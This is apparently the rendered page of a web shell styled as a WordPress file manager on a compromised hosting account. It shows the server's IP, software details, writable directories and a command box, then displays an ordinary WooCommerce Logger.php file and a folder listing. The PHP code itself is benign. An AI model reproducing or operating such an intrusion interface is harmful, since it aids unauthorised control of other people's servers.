GRAYBYTE WORDPRESS FILE MANAGER1439

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/nioscentre.in/wp-content/plugins/woocommerce/packages/blueprint/src/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/nioscentre.in/wp-content/plugins/woocommerce/packages/blueprint/src//Logger.php
<?php

namespace Automattic\WooCommerce\Blueprint;

use Automattic\WooCommerce\Blueprint\UseWPFunctions;

/**
 * Class Logger
 */
class Logger {
	use UseWPFunctions;

	/**
	 * WooCommerce logger class instance.
	 *
	 * @var \WC_Logger_Interface
	 */
	private $logger;

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->logger = wc_get_logger();
	}

	/**
	 * Log a message as a debug log entry.
	 *
	 * @param string $message The message to log.
	 * @param string $level   The log level.
	 * @param array  $context The context of the log.
	 */
	public function log( string $message, string $level = \WC_Log_Levels::DEBUG, $context = array() ) {
		$this->logger->log(
			$level,
			$message,
			array_merge(
				array(
					'source'  => 'wc-blueprint',
					'user_id' => $this->wp_get_current_user_id(),
				),
				$context
			)
		);
	}

	/**
	 * Log the start of an export operation.
	 *
	 * @param array $exporters Array of exporters.
	 */
	public function start_export( array $exporters ) {
		$export_data = $this->get_export_data( $exporters );

		$this->log(
			sprintf( 'Starting export of %d steps', count( $export_data['steps'] ) ),
			\WC_Log_Levels::INFO,
			array(
				'steps'     => $export_data['steps'],
				'exporters' => $export_data['exporters'],
			)
		);
	}

	/**
	 * Log the completion of an export operation.
	 *
	 * @param array $exporters Array of exporters.
	 */
	public function complete_export( array $exporters ) {
		$export_data = $this->get_export_data( $exporters );

		$this->log(
			sprintf( 'Export of %d steps completed', count( $export_data['steps'] ) ),
			\WC_Log_Levels::INFO,
			array(
				'steps'     => $export_data['steps'],
				'exporters' => $export_data['exporters'],
			)
		);
	}

	/**
	 * Extract export step names and exporter classes from exporters.
	 *
	 * @param array $exporters Array of exporters.
	 * @return array Associative array with 'steps' and 'exporters' keys.
	 */
	private function get_export_data( array $exporters ) {
		$export_steps     = array();
		$exporter_classes = array();

		foreach ( $exporters as $exporter ) {
			$step_name          = method_exists( $exporter, 'get_alias' ) ? $exporter->get_alias() : $exporter->get_step_name();
			$export_steps[]     = $step_name;
			$exporter_classes[] = get_class( $exporter );
		}

		return array(
			'steps'     => $export_steps,
			'exporters' => $exporter_classes,
		);
	}

	/**
	 * Log an export step failure.
	 *
	 * @param string     $step_name The name of the step that failed.
	 * @param \Throwable $exception The exception that was thrown.
	 */
	public function export_step_failed( string $step_name, \Throwable $exception ) {
		$this->log(
			sprintf( 'Export "%s" step failed', $step_name ),
			\WC_Log_Levels::ERROR,
			array(
				'error' => $exception->getMessage(),
			)
		);
	}

	/**
	 * Log the start of an import step.
	 *
	 * @param string $step_name      The name of the step being imported.
	 * @param string $importer_class The class name of the importer.
	 */
	public function start_import( string $step_name, string $importer_class ) {
		$this->log(
			sprintf( 'Starting import "%s" step', $step_name ),
			\WC_Log_Levels::INFO,
			array(
				'importer' => $importer_class,
			)
		);
	}

	/**
	 * Log the successful completion of an import step.
	 *
	 * @param string              $step_name The name of the step that was imported.
	 * @param StepProcessorResult $result    The result of the import.
	 */
	public function complete_import( string $step_name, StepProcessorResult $result ) {
		$this->log(
			sprintf( 'Import "%s" step completed', $step_name ),
			\WC_Log_Levels::INFO,
			array(
				'messages' => $result->get_messages( 'info' ),
			)
		);
	}

	/**
	 * Log an import step failure.
	 *
	 * @param string              $step_name The name of the step that failed.
	 * @param StepProcessorResult $result    The result of the import.
	 */
	public function import_step_failed( string $step_name, StepProcessorResult $result ) {
		$this->log(
			sprintf( 'Import "%s" step failed', $step_name ),
			\WC_Log_Levels::ERROR,
			array(
				'messages' => $result->get_messages( 'error' ),
			)
		);
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Cli
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Exporters
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Importers
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
ResourceStorages
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
ResultFormatters
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Schemas
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
Steps
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
docs
--
June 24 2025 08:34:22
giriqfky / giriqfky
0755
BuiltInExporters.php
0.463 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
BuiltInStepProcessors.php
1.809 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ClassExtractor.php
6.055 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
Cli.php
1.78 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ExportSchema.php
4.301 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ImportSchema.php
2.337 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ImportStep.php
4.465 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
Logger.php
4.066 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
ResourceStorages.php
1.452 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
StepProcessor.php
0.664 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
StepProcessorResult.php
3.563 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
UsePluginHelpers.php
3.127 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
UsePubSub.php
1.509 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
UseWPFunctions.php
9.717 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
Util.php
4.386 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF